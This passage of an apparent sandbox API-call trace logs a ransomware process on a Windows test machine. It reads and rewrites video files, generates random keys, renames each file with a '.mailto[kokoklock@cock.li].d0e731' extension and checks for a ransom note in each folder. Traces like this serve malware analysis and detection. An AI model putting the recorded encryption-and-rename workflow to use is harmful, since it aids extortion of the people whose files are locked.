lpOverlapped=0x0) returned 1 [0177.390] WriteFile (in: hFile=0x824, lpBuffer=0x299ff78c*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x299ff774, lpOverlapped=0x0 | out: lpBuffer=0x299ff78c*, lpNumberOfBytesWritten=0x299ff774*=0x4, lpOverlapped=0x0) returned 1 [0177.390] WriteFile (in: hFile=0x824, lpBuffer=0x2f719cc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x299ff774, lpOverlapped=0x0 | out: lpBuffer=0x2f719cc*, lpNumberOfBytesWritten=0x299ff774*=0x4, lpOverlapped=0x0) returned 1 [0177.390] WriteFile (in: hFile=0x824, lpBuffer=0x2f6a3e8*, nNumberOfBytesToWrite=0x6c, lpNumberOfBytesWritten=0x299ff774, lpOverlapped=0x0 | out: lpBuffer=0x2f6a3e8*, lpNumberOfBytesWritten=0x299ff774*=0x6c, lpOverlapped=0x0) returned 1 [0177.390] WriteFile (in: hFile=0x824, lpBuffer=0x2f95080*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x299ff774, lpOverlapped=0x0 | out: lpBuffer=0x2f95080*, lpNumberOfBytesWritten=0x299ff774*=0x20, lpOverlapped=0x0) returned 1 [0177.390] WriteFile (in: hFile=0x824, lpBuffer=0x2f719ac*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x299ff774, lpOverlapped=0x0 | out: lpBuffer=0x2f719ac*, lpNumberOfBytesWritten=0x299ff774*=0x4, lpOverlapped=0x0) returned 1 [0177.390] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f95080) returned 1 [0177.390] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f94f18) returned 1 [0177.391] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f94f90) returned 1 [0177.391] CloseHandle (hObject=0x824) returned 1 [0177.391] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x158) returned 0x2f6ab60 [0177.391] wcscpy (in: _Dest=0x2f6ab60, _Source="C:\\Users\\FD1HVy\\Videos\\SoW TDWhGpVPO4A\\OMBNCbK9FH55XhnGLg\\N9niCZFyd 5h8GAXUn0\\MNuAfVGt7Bpb6yoie\\gNw X.swf.mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\FD1HVy\\Videos\\SoW TDWhGpVPO4A\\OMBNCbK9FH55XhnGLg\\N9niCZFyd 5h8GAXUn0\\MNuAfVGt7Bpb6yoie\\gNw X.swf.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\FD1HVy\\Videos\\SoW TDWhGpVPO4A\\OMBNCbK9FH55XhnGLg\\N9niCZFyd 5h8GAXUn0\\MNuAfVGt7Bpb6yoie\\gNw X.swf.mailto[kokoklock@cock.li].d0e731" [0177.391] wcscat (in: _Dest=0x2f6ab60, _Source=".mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\FD1HVy\\Videos\\SoW TDWhGpVPO4A\\OMBNCbK9FH55XhnGLg\\N9niCZFyd 5h8GAXUn0\\MNuAfVGt7Bpb6yoie\\gNw X.swf.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\FD1HVy\\Videos\\SoW TDWhGpVPO4A\\OMBNCbK9FH55XhnGLg\\N9niCZFyd 5h8GAXUn0\\MNuAfVGt7Bpb6yoie\\gNw X.swf.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731" [0177.391] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Videos\\SoW TDWhGpVPO4A\\OMBNCbK9FH55XhnGLg\\N9niCZFyd 5h8GAXUn0\\MNuAfVGt7Bpb6yoie\\gNw X.swf.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\fd1hvy\\videos\\sow tdwhgpvpo4a\\ombncbk9fh55xhnglg\\n9niczfyd 5h8gaxun0\\mnuafvgt7bpb6yoie\\gnw x.swf.mailto[kokoklock@cock.li].d0e731"), lpNewFileName="C:\\Users\\FD1HVy\\Videos\\SoW TDWhGpVPO4A\\OMBNCbK9FH55XhnGLg\\N9niCZFyd 5h8GAXUn0\\MNuAfVGt7Bpb6yoie\\gNw X.swf.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\fd1hvy\\videos\\sow tdwhgpvpo4a\\ombncbk9fh55xhnglg\\n9niczfyd 5h8gaxun0\\mnuafvgt7bpb6yoie\\gnw x.swf.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731")) returned 1 [0177.392] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Videos\\SoW TDWhGpVPO4A\\OMBNCbK9FH55XhnGLg\\N9niCZFyd 5h8GAXUn0\\MNuAfVGt7Bpb6yoie\\gNw X.swf.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 1 [0177.392] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f6ab60) returned 1 [0177.392] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Videos\\SoW TDWhGpVPO4A\\OMBNCbK9FH55XhnGLg\\N9niCZFyd 5h8GAXUn0\\MNuAfVGt7Bpb6yoie\\gNw X.swf.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 0 [0177.392] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0xe6) returned 0x2fc41c0 [0177.392] wcscpy (in: _Dest=0x2fc41c0, _Source="C:\\Users\\FD1HVy\\Videos\\SoW TDWhGpVPO4A\\OMBNCbK9FH55XhnGLg\\N9niCZFyd 5h8GAXUn0\\MNuAfVGt7Bpb6yoie\\" | out: _Dest="C:\\Users\\FD1HVy\\Videos\\SoW TDWhGpVPO4A\\OMBNCbK9FH55XhnGLg\\N9niCZFyd 5h8GAXUn0\\MNuAfVGt7Bpb6yoie\\") returned="C:\\Users\\FD1HVy\\Videos\\SoW TDWhGpVPO4A\\OMBNCbK9FH55XhnGLg\\N9niCZFyd 5h8GAXUn0\\MNuAfVGt7Bpb6yoie\\" [0177.392] wcscat (in: _Dest=0x2fc41c0, _Source="D0E731-Readme.txt" | out: _Dest="C:\\Users\\FD1HVy\\Videos\\SoW TDWhGpVPO4A\\OMBNCbK9FH55XhnGLg\\N9niCZFyd 5h8GAXUn0\\MNuAfVGt7Bpb6yoie\\D0E731-Readme.txt") returned="C:\\Users\\FD1HVy\\Videos\\SoW TDWhGpVPO4A\\OMBNCbK9FH55XhnGLg\\N9niCZFyd 5h8GAXUn0\\MNuAfVGt7Bpb6yoie\\D0E731-Readme.txt" [0177.392] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Videos\\SoW TDWhGpVPO4A\\OMBNCbK9FH55XhnGLg\\N9niCZFyd 5h8GAXUn0\\MNuAfVGt7Bpb6yoie\\D0E731-Readme.txt" (normalized: "c:\\users\\fd1hvy\\videos\\sow tdwhgpvpo4a\\ombncbk9fh55xhnglg\\n9niczfyd 5h8gaxun0\\mnuafvgt7bpb6yoie\\d0e731-readme.txt")) returned 0x20 [0177.392] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fc41c0) returned 1 [0177.392] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fa0220) returned 1 [0177.392] RtlExitUserThread (Status=0x1) Thread: id = 2646 os_tid = 0x10dc [0177.394] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Videos\\SoW TDWhGpVPO4A\\OMBNCbK9FH55XhnGLg\\N9niCZFyd 5h8GAXUn0\\MNuAfVGt7Bpb6yoie\\Ncwp zw_N0TWsR1.flv.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\fd1hvy\\videos\\sow tdwhgpvpo4a\\ombncbk9fh55xhnglg\\n9niczfyd 5h8gaxun0\\mnuafvgt7bpb6yoie\\ncwp zw_n0twsr1.flv.mailto[kokoklock@cock.li].d0e731")) returned 0x20 [0177.394] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Videos\\SoW TDWhGpVPO4A\\OMBNCbK9FH55XhnGLg\\N9niCZFyd 5h8GAXUn0\\MNuAfVGt7Bpb6yoie\\Ncwp zw_N0TWsR1.flv.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 1 [0177.394] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Videos\\SoW TDWhGpVPO4A\\OMBNCbK9FH55XhnGLg\\N9niCZFyd 5h8GAXUn0\\MNuAfVGt7Bpb6yoie\\Ncwp zw_N0TWsR1.flv.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\fd1hvy\\videos\\sow tdwhgpvpo4a\\ombncbk9fh55xhnglg\\n9niczfyd 5h8gaxun0\\mnuafvgt7bpb6yoie\\ncwp zw_n0twsr1.flv.mailto[kokoklock@cock.li].d0e731"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x824 [0177.394] GetFileSizeEx (in: hFile=0x824, lpFileSize=0x29a7f7c0 | out: lpFileSize=0x29a7f7c0*=34971) returned 1 [0177.394] SetFilePointerEx (in: hFile=0x824, liDistanceToMove=0x8897, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0177.394] ReadFile (in: hFile=0x824, lpBuffer=0x29a7f794, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x29a7f790, lpOverlapped=0x0 | out: lpBuffer=0x29a7f794*, lpNumberOfBytesRead=0x29a7f790*=0x4, lpOverlapped=0x0) returned 1 [0177.397] SetFilePointerEx (in: hFile=0x824, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0177.397] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2f94f18 [0177.397] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2f950a8 [0177.397] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2f94e78 [0177.397] NtQuerySystemTime (in: CurrentTime=0x29a7f76c | out: CurrentTime=0x29a7f76c*=132121213347190920) returned 0x0 [0177.397] RtlRandom (in: Seed=0x29a7f778 | out: Seed=0x29a7f778) returned 0xb06c2947 [0177.397] RtlRandom (in: Seed=0x29a7f778 | out: Seed=0x29a7f778) returned 0x1669ac79 [0177.397] RtlRandom (in: Seed=0x29a7f778 | out: Seed=0x29a7f778) returned 0x9d103a81 [0177.397] RtlRandom (in: Seed=0x29a7f778 | out: Seed=0x29a7f778) returned 0xee2c8d7e [0177.397] RtlRandom (in: Seed=0x29a7f778 | out: Seed=0x29a7f778) returned 0x3ccc1d69 [0177.397] RtlRandom (in: Seed=0x29a7f778 | out: Seed=0x29a7f778) returned 0x14e1e163 [0177.397] RtlRandom (in: Seed=0x29a7f778 | out: Seed=0x29a7f778) returned 0x256b509e [0177.397] RtlRandom (in: Seed=0x29a7f778 | out: Seed=0x29a7f778) returned 0xb5972466 [0177.397] RtlRandom (in: Seed=0x29a7f778 | out: Seed=0x29a7f778) returned 0x6f750187 [0177.397] RtlRandom (in: Seed=0x29a7f778 | out: Seed=0x29a7f778) returned 0x931477fc [0177.397] RtlRandom (in: Seed=0x29a7f778 | out: Seed=0x29a7f778) returned 0x27c9188a [0177.397] RtlRandom (in: Seed=0x29a7f778 | out: Seed=0x29a7f778) returned 0x28f2f0f8 [0177.397] RtlRandom (in: Seed=0x29a7f778 | out: Seed=0x29a7f778) returned 0x9863986a [0177.397] RtlRandom (in: Seed=0x29a7f778 | out: Seed=0x29a7f778) returned 0x90a91964 [0177.397] RtlRandom (in: Seed=0x29a7f778 | out: Seed=0x29a7f778) returned 0x232d86ac [0177.397] RtlRandom (in: Seed=0x29a7f778 | out: Seed=0x29a7f778) returned 0x5fab29b6 [0177.397] RtlRandom (in: Seed=0x29a7f778 | out: Seed=0x29a7f778) returned 0xf31632c9 [0177.397] RtlRandom (in: Seed=0x29a7f778 | out: Seed=0x29a7f778) returned 0x1b2e383c [0177.397] RtlRandom (in: Seed=0x29a7f778 | out: Seed=0x29a7f778) returned 0x5c6e2da2 [0177.397] RtlRandom (in: Seed=0x29a7f778 | out: Seed=0x29a7f778) returned 0x973e0752 [0177.397] RtlRandom (in: Seed=0x29a7f778 | out: Seed=0x29a7f778) returned 0x399eecf4 [0177.397] RtlRandom (in: Seed=0x29a7f778 | out: Seed=0x29a7f778) returned 0xe82e3949 [0177.397] RtlRandom (in: Seed=0x29a7f778 | out: Seed=0x29a7f778) returned 0x48206da1 [0177.397] RtlRandom (in: Seed=0x29a7f778 | out: Seed=0x29a7f778) returned 0xa0d8fb8c [0177.397] RtlRandom (in: Seed=0x29a7f778 | out: Seed=0x29a7f778) returned 0xc9033a06 [0177.397] RtlRandom (in: Seed=0x29a7f778 | out: Seed=0x29a7f778) returned 0xc289f10d [0177.397] RtlRandom (in: Seed=0x29a7f778 | out: Seed=0x29a7f778) returned 0x96b17589 [0177.398] RtlRandom (in: Seed=0x29a7f778 | out: Seed=0x29a7f778) returned 0xf7f92605 [0177.398] RtlRandom (in: Seed=0x29a7f778 | out: Seed=0x29a7f778) returned 0xf1d7a90e [0177.398] RtlRandom (in: Seed=0x29a7f778 | out: Seed=0x29a7f778) returned 0x5f192524 [0177.398] RtlRandom (in: Seed=0x29a7f778 | out: Seed=0x29a7f778) returned 0xf6e1532c [0177.398] RtlRandom (in: Seed=0x29a7f778 | out: Seed=0x29a7f778) returned 0x9cbcf476 [0177.408] SetFilePointerEx (in: hFile=0x824, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0177.408] ReadFile (in: hFile=0x824, lpBuffer=0x2f99af8, nNumberOfBytesToRead=0x4096, lpNumberOfBytesRead=0x29a7f744, lpOverlapped=0x0 | out: lpBuffer=0x2f99af8*, lpNumberOfBytesRead=0x29a7f744*=0x4096, lpOverlapped=0x0) returned 1 [0177.409] SetFilePointerEx (in: hFile=0x824, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0177.409] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x40) returned 0x2f87080 [0177.409] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x70) returned 0x2f88910 [0177.409] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2f94f68 [0177.409] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f94f68) returned 1 [0177.410] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x4096) returned 0x2fe4828 [0177.410] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2f94f18 [0177.410] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2f950d0 [0177.410] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f950d0) returned 1 [0177.410] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f88910) returned 1 [0177.410] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f87080) returned 1 [0177.410] WriteFile (in: hFile=0x824, lpBuffer=0x2fe4828*, nNumberOfBytesToWrite=0x4096, lpNumberOfBytesWritten=0x29a7f744, lpOverlapped=0x0 | out: lpBuffer=0x2fe4828*, lpNumberOfBytesWritten=0x29a7f744*=0x4096, lpOverlapped=0x0) returned 1 [0177.410] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fe4828) returned 1 [0177.410] SetFilePointerEx (in: hFile=0x824, liDistanceToMove=0x889b, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0177.410] WriteFile (in: hFile=0x824, lpBuffer=0x2f94f18*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x29a7f77c, lpOverlapped=0x0 | out: lpBuffer=0x2f94f18*, lpNumberOfBytesWritten=0x29a7f77c*=0x20, lpOverlapped=0x0) returned 1 [0177.411] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f94f18) returned 1 [0177.411] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f99af8) returned 1 [0177.411] WriteFile (in: hFile=0x824, lpBuffer=0x2f94fb8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29a7f790, lpOverlapped=0x0 | out: lpBuffer=0x2f94fb8*, lpNumberOfBytesWritten=0x29a7f790*=0x8, lpOverlapped=0x0) returned 1 [0177.411] WriteFile (in: hFile=0x824, lpBuffer=0x29a7f7a8*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29a7f790, lpOverlapped=0x0 | out: lpBuffer=0x29a7f7a8*, lpNumberOfBytesWritten=0x29a7f790*=0x4, lpOverlapped=0x0) returned 1 [0177.411] WriteFile (in: hFile=0x824, lpBuffer=0x2f719cc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29a7f790, lpOverlapped=0x0 | out: lpBuffer=0x2f719cc*, lpNumberOfBytesWritten=0x29a7f790*=0x4, lpOverlapped=0x0) returned 1 [0177.411] WriteFile (in: hFile=0x824, lpBuffer=0x2f6a3e8*, nNumberOfBytesToWrite=0x6c, lpNumberOfBytesWritten=0x29a7f790, lpOverlapped=0x0 | out: lpBuffer=0x2f6a3e8*, lpNumberOfBytesWritten=0x29a7f790*=0x6c, lpOverlapped=0x0) returned 1 [0177.411] WriteFile (in: hFile=0x824, lpBuffer=0x2f950a8*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x29a7f790, lpOverlapped=0x0 | out: lpBuffer=0x2f950a8*, lpNumberOfBytesWritten=0x29a7f790*=0x20, lpOverlapped=0x0) returned 1 [0177.411] WriteFile (in: hFile=0x824, lpBuffer=0x2f719ac*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29a7f790, lpOverlapped=0x0 | out: lpBuffer=0x2f719ac*, lpNumberOfBytesWritten=0x29a7f790*=0x4, lpOverlapped=0x0) returned 1 [0177.411] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f950a8) returned 1 [0177.411] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f94f40) returned 1 [0177.411] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f94fb8) returned 1 [0177.411] CloseHandle (hObject=0x824) returned 1 [0177.412] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x16c) returned 0x2fa0b10 [0177.412] wcscpy (in: _Dest=0x2fa0b10, _Source="C:\\Users\\FD1HVy\\Videos\\SoW TDWhGpVPO4A\\OMBNCbK9FH55XhnGLg\\N9niCZFyd 5h8GAXUn0\\MNuAfVGt7Bpb6yoie\\Ncwp zw_N0TWsR1.flv.mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\FD1HVy\\Videos\\SoW TDWhGpVPO4A\\OMBNCbK9FH55XhnGLg\\N9niCZFyd 5h8GAXUn0\\MNuAfVGt7Bpb6yoie\\Ncwp zw_N0TWsR1.flv.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\FD1HVy\\Videos\\SoW TDWhGpVPO4A\\OMBNCbK9FH55XhnGLg\\N9niCZFyd 5h8GAXUn0\\MNuAfVGt7Bpb6yoie\\Ncwp zw_N0TWsR1.flv.mailto[kokoklock@cock.li].d0e731" [0177.412] wcscat (in: _Dest=0x2fa0b10, _Source=".mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\FD1HVy\\Videos\\SoW TDWhGpVPO4A\\OMBNCbK9FH55XhnGLg\\N9niCZFyd 5h8GAXUn0\\MNuAfVGt7Bpb6yoie\\Ncwp zw_N0TWsR1.flv.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\FD1HVy\\Videos\\SoW TDWhGpVPO4A\\OMBNCbK9FH55XhnGLg\\N9niCZFyd 5h8GAXUn0\\MNuAfVGt7Bpb6yoie\\Ncwp zw_N0TWsR1.flv.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731" [0177.412] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Videos\\SoW TDWhGpVPO4A\\OMBNCbK9FH55XhnGLg\\N9niCZFyd 5h8GAXUn0\\MNuAfVGt7Bpb6yoie\\Ncwp zw_N0TWsR1.flv.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\fd1hvy\\videos\\sow tdwhgpvpo4a\\ombncbk9fh55xhnglg\\n9niczfyd 5h8gaxun0\\mnuafvgt7bpb6yoie\\ncwp zw_n0twsr1.flv.mailto[kokoklock@cock.li].d0e731"), lpNewFileName="C:\\Users\\FD1HVy\\Videos\\SoW TDWhGpVPO4A\\OMBNCbK9FH55XhnGLg\\N9niCZFyd 5h8GAXUn0\\MNuAfVGt7Bpb6yoie\\Ncwp zw_N0TWsR1.flv.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\fd1hvy\\videos\\sow tdwhgpvpo4a\\ombncbk9fh55xhnglg\\n9niczfyd 5h8gaxun0\\mnuafvgt7bpb6yoie\\ncwp zw_n0twsr1.flv.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731")) returned 1 [0177.413] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Videos\\SoW TDWhGpVPO4A\\OMBNCbK9FH55XhnGLg\\N9niCZFyd 5h8GAXUn0\\MNuAfVGt7Bpb6yoie\\Ncwp zw_N0TWsR1.flv.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 1 [0177.413] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fa0b10) returned 1 [0177.413] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Videos\\SoW TDWhGpVPO4A\\OMBNCbK9FH55XhnGLg\\N9niCZFyd 5h8GAXUn0\\MNuAfVGt7Bpb6yoie\\Ncwp zw_N0TWsR1.flv.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 0 [0177.413] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0xe6) returned 0x2fc41c0 [0177.413] wcscpy (in: _Dest=0x2fc41c0, _Source="C:\\Users\\FD1HVy\\Videos\\SoW TDWhGpVPO4A\\OMBNCbK9FH55XhnGLg\\N9niCZFyd 5h8GAXUn0\\MNuAfVGt7Bpb6yoie\\" | out: _Dest="C:\\Users\\FD1HVy\\Videos\\SoW TDWhGpVPO4A\\OMBNCbK9FH55XhnGLg\\N9niCZFyd 5h8GAXUn0\\MNuAfVGt7Bpb6yoie\\") returned="C:\\Users\\FD1HVy\\Videos\\SoW TDWhGpVPO4A\\OMBNCbK9FH55XhnGLg\\N9niCZFyd 5h8GAXUn0\\MNuAfVGt7Bpb6yoie\\" [0177.413] wcscat (in: _Dest=0x2fc41c0, _Source="D0E731-Readme.txt" | out: _Dest="C:\\Users\\FD1HVy\\Videos\\SoW TDWhGpVPO4A\\OMBNCbK9FH55XhnGLg\\N9niCZFyd 5h8GAXUn0\\MNuAfVGt7Bpb6yoie\\D0E731-Readme.txt") returned="C:\\Users\\FD1HVy\\Videos\\SoW TDWhGpVPO4A\\OMBNCbK9FH55XhnGLg\\N9niCZFyd 5h8GAXUn0\\MNuAfVGt7Bpb6yoie\\D0E731-Readme.txt" [0177.413] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Videos\\SoW TDWhGpVPO4A\\OMBNCbK9FH55XhnGLg\\N9niCZFyd 5h8GAXUn0\\MNuAfVGt7Bpb6yoie\\D0E731-Readme.txt" (normalized: "c:\\users\\fd1hvy\\videos\\sow tdwhgpvpo4a\\ombncbk9fh55xhnglg\\n9niczfyd 5h8gaxun0\\mnuafvgt7bpb6yoie\\d0e731-readme.txt")) returned 0x20 [0177.413] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fc41c0) returned 1 [0177.413] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fe24f0) returned 1 [0177.413] RtlExitUserThread (Status=0x1) Thread: id = 2647 os_tid = 0x10e0 [0177.417] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Videos\\SoW TDWhGpVPO4A\\OMBNCbK9FH55XhnGLg\\N9niCZFyd 5h8GAXUn0\\MNuAfVGt7Bpb6yoie\\SiI9KxvBNHBf.avi.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\fd1hvy\\videos\\sow tdwhgpvpo4a\\ombncbk9fh55xhnglg\\n9niczfyd 5h8gaxun0\\mnuafvgt7bpb6yoie\\sii9kxvbnhbf.avi.mailto[kokoklock@cock.li].d0e731")) returned 0x20 [0177.417] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Videos\\SoW TDWhGpVPO4A\\OMBNCbK9FH55XhnGLg\\N9niCZFyd 5h8GAXUn0\\MNuAfVGt7Bpb6yoie\\SiI9KxvBNHBf.avi.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 1 [0177.417] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Videos\\SoW TDWhGpVPO4A\\OMBNCbK9FH55XhnGLg\\N9niCZFyd 5h8GAXUn0\\MNuAfVGt7Bpb6yoie\\SiI9KxvBNHBf.avi.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\fd1hvy\\videos\\sow tdwhgpvpo4a\\ombncbk9fh55xhnglg\\n9niczfyd 5h8gaxun0\\mnuafvgt7bpb6yoie\\sii9kxvbnhbf.avi.mailto[kokoklock@cock.li].d0e731"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x824 [0177.417] GetFileSizeEx (in: hFile=0x824, lpFileSize=0x29aff994 | out: lpFileSize=0x29aff994*=48608) returned 1 [0177.417] SetFilePointerEx (in: hFile=0x824, liDistanceToMove=0xbddc, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0177.417] ReadFile (in: hFile=0x824, lpBuffer=0x29aff968, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x29aff964, lpOverlapped=0x0 | out: lpBuffer=0x29aff968*, lpNumberOfBytesRead=0x29aff964*=0x4, lpOverlapped=0x0) returned 1 [0177.419] SetFilePointerEx (in: hFile=0x824, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0177.419] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2f94f18 [0177.419] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2f94f40 [0177.419] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2f94fb8 [0177.419] NtQuerySystemTime (in: CurrentTime=0x29aff940 | out: CurrentTime=0x29aff940*=132121213347343210) returned 0x0 [0177.419] RtlRandom (in: Seed=0x29aff94c | out: Seed=0x29aff94c) returned 0x496d5702 [0177.419] RtlRandom (in: Seed=0x29aff94c | out: Seed=0x29aff94c) returned 0xbf1745a0 [0177.419] RtlRandom (in: Seed=0x29aff94c | out: Seed=0x29aff94c) returned 0xac612bdb [0177.419] RtlRandom (in: Seed=0x29aff94c | out: Seed=0x29aff94c) returned 0x9b885c3a [0177.419] RtlRandom (in: Seed=0x29aff94c | out: Seed=0x29aff94c) returned 0x3f0cab9d [0177.419] RtlRandom (in: Seed=0x29aff94c | out: Seed=0x29aff94c) returned 0x7e26a4c5 [0177.419] RtlRandom (in: Seed=0x29aff94c | out: Seed=0x29aff94c) returned 0x7354b8e4 [0177.419] RtlRandom (in: Seed=0x29aff94c | out: Seed=0x29aff94c) returned 0xfe064055 [0177.419] RtlRandom (in: Seed=0x29aff94c | out: Seed=0x29aff94c) returned 0x6fde3a64 [0177.419] RtlRandom (in: Seed=0x29aff94c | out: Seed=0x29aff94c) returned 0xf854e8f [0177.419] RtlRandom (in: Seed=0x29aff94c | out: Seed=0x29aff94c) returned 0x3555875a [0177.419] RtlRandom (in: Seed=0x29aff94c | out: Seed=0x29aff94c) returned 0x1127a930 [0177.419] RtlRandom (in: Seed=0x29aff94c | out: Seed=0x29aff94c) returned 0xaaedbb04 [0177.419] RtlRandom (in: Seed=0x29aff94c | out: Seed=0x29aff94c) returned 0x93cc8553 [0177.419] RtlRandom (in: Seed=0x29aff94c | out: Seed=0x29aff94c) returned 0xe63e2eac [0177.419] RtlRandom (in: Seed=0x29aff94c | out: Seed=0x29aff94c) returned 0xfa31b941 [0177.419] RtlRandom (in: Seed=0x29aff94c | out: Seed=0x29aff94c) returned 0xb9a28d58 [0177.419] RtlRandom (in: Seed=0x29aff94c | out: Seed=0x29aff94c) returned 0x73691887 [0177.419] RtlRandom (in: Seed=0x29aff94c | out: Seed=0x29aff94c) returned 0xf1d57ee0 